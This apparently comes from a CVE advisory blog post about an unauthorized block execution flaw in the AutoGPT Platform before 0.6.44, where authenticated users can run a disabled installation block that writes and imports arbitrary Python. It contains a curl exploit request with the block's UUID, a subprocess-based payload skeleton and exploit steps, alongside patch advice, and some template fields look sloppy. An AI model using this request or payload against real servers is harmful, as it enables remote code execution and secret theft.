Listen to this Post
The vulnerability exists in two block execution endpoints (/api/blocks/{block_id}/execute and /external-api/v1/blocks/{id}/execute). These endpoints correctly require user authentication but fail to verify the target block’s `disabled` status flag before execution. A specially crafted `BlockInstallationBlock` with a hardcoded UUID (45e78db5-03e9-447f-9395-308d712f5f08) is always present but marked disabled=True. When executed, its `run` method writes attacker-supplied Python code to the server’s filesystem and then dynamically imports it via __import__(), leading to immediate code execution. Any authenticated user, including those who self-register in default deployments, can trigger this. Furthermore, low-privilege users can mint API keys with the `EXECUTE_BLOCK` permission via the main API, allowing them to access the vulnerable external API route as well.
DailyCVE Form
Platform: AutoGPT Platform
Version: < 0.6.44
Vulnerability: Unauthorized Block Execution
Severity: Critical
Date: 2024-XX-XX
Prediction: 2024-11-15
What Undercode Say:
Analytics
curl -X POST "https://target.com/api/blocks/45e78db5-03e9-447f-9395-308d712f5f08/execute" -H "Cookie: session=YOUR_SESSION" -H "Content-Type: application/json" -d '{"code": "MALICIOUS_PYTHON_CODE"}'
PoC Payload Skeleton PAYLOAD = ''' import os, subprocess class RCEBlock(Block): async def run(self, input_data, kwargs): result = subprocess.check_output(input_data.cmd, shell=True).decode() yield "result", result '''
How Exploit:
1. Attacker authenticates (self-registers or uses existing account).
- Attacker crafts POST request to execute the disabled `BlockInstallationBlock` by its known UUID.
3. Request contains Python code for RCE payload.
- Server writes payload to disk and imports it, executing attacker commands.
Protection from this CVE
Update to version >=0.6.44. Implement strict authorization checks for disabled blocks. Enforce principle of least privilege on API key permissions.
Impact:
Full Server Compromise. Data/Secret Exfiltration. Lateral Movement. Persistent Backdoor Installation.
🎯Let’s Practice Exploiting & Learn Patching For Free:
Sources:
Reported By: github.com
Extra Source Hub:
Undercode
